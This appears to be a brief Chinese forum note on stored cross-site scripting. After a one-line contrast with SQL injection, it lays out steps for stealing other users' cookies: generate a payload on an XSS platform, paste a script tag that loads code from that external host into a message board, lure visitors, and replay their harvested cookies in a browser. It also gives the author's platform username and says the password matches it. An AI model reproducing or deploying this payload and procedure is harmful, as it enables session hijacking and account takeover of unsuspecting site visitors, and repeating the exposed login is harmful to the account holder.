存储型XSS攻击
/*注入 是将用户输入的数据当做SQL 语句 放入到数据库进行查询。
XSS 是将用户输入的数据 当做HTML语句放到页面上执行。
存储型 Xss 跨站脚本攻击 是获取本地的 COOkie
XSS 平台的生成网址 ： https://xsspt.com/index.php?do=register
我在该平台的注册号是 ： tjr0617密码一样
操作流程：
1,。 先去 XSS 平台 一顿操作猛如虎 生成 XSS 代码 ，
2. 复制 里面 <script src=https://xsspt.com/u1gXjo></script> 那一句 复制到页面上， 可以放在留言板里准备提交；
3. 让别人访问这个网址， 你就 跑去XSS后台 看他的cookie.
4. 把 得到的cookie 放到 浏览器插件中试试效果
*/
页:
[1]